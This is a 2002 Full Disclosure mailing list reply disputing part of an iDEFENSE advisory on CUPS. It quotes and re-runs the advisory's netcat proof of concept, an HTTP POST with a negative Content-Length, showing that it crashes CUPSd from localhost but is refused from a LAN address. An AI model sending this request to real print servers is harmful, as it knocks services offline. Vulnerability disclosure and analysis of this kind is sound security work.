Full Disclosure mailing list archives

Re: iDEFENSE Security Advisory 12.19.02: Multiple Security Vulnerabilities in Common Unix Printing System (CUPS)

From: "Joe Testa" <Joe_Testa () rapid7 com>
Date: Sat, 21 Dec 2002 14:59:06 -0500

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

**** ISSUE 4 - Negative Length Memcpy() Calls ****

Negative length memcpy() calls can lead to a denial of service (DoS) and,
on some platforms, remote root compromise. The following examples
demonstrate these vulnerabilities:

$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Content-Length: -1



I believe this is inaccurate/misleading.

A remote attacker cannot cause CUPSd to call memcpy() with a negative
value unless he or she is authenticated.  An attacker with local access,
however, can.  More specifically, if the attacker's source IP is 127.0.0.1,
then the server can be DOSed/overflowed without authentication.  If the
attacker's source IP is not 127.0.0.1, then the server will return an error
message without parsing the negative 'Content Length' field.


Example:

[jdog@wonderland jdog]$ nc -v localhost 631
localhost.localdomain [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Content-Length: -1


[jdog@wonderland jdog]$ nc -v localhost 631
localhost.localdomain [127.0.0.1] 631 (?) : Connection refused

... CUPSd has crashed.  Now lets see what happens when we use the eth0
IP:

[jdog@wonderland jdog]$ nc -v 192.168.x.x 631
192.168.x.x: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.x.x] 631 (?) open
POST /printers HTTP/1.1
Host: 192.168.x.x
Authorization: Basic AAA
Content-Length: -1

HTTP/1.1 403 Forbidden
Date: Sat, 21 Dec 2002 19:12:25 GMT
Server: CUPS/1.1
Content-Language: C
Upgrade: TLS/1.0,HTTP/1.1
Connection: close
Content-Type: text/html
Content-Length: 150

<HTML><HEAD><TITLE>403 Forbidden</TITLE></HEAD><BODY><H1>Forbidden</H1>
You don't have permission to access the resource on this server.</BODY>
</HTML>
[jdog@wonderland jdog]$



I'd like to point out that I have _assumed_ that the remote attacker must
authenticate in order to exploit this issue--I'm largely unfamiliar with
CUPS and I'm pressed for time...  Feel free to prove me wrong.

So, it doesn't seem like CUPSd is vulnerable to just any random attacker
who happens to be passing by.  I've tested this against RedHat 8.0's
'cups-1.1.15-10.src.rpm', along with ftp.cups.org's v1.1.14 and v1.1.17.

Word.

    - Joe Testa, Rapid 7, Inc.
    http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x02B00839
    A145 B158 2CA7 00A2 BAE8 4A18 57E5 18E0 02B0 0839


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (Cygwin32)

iD8DBQE+BMKtV+UY4AKwCDkRAhcMAJ4uWOCcfDJte9OKrDwz/eJ6g3Hp5wCfbsKU
V3w22HtfF1Q/NgZTcdu7XIg=
=GIBe
-----END PGP SIGNATURE-----

(See attached file: cups.txt.asc)

Attachment: cups.txt.asc
Description:

Current thread:

iDEFENSE Security Advisory 12.19.02: Multiple Security Vulnerabilities in Common Unix Printing System (CUPS) iDEFENSE Labs (Dec 19)
- Trust vs Spoof in Advisories David Kennedy CISSP (Dec 19)
- <Possible follow-ups>
- Re: iDEFENSE Security Advisory 12.19.02: Multiple Security Vulnerabilities in Common Unix Printing System (CUPS) Joe Testa (Dec 21)
- Re: iDEFENSE Security Advisory 12.19.02: Multiple Security Vulnerabilities in Common Unix Printing System (CUPS) zen-parse (Dec 21)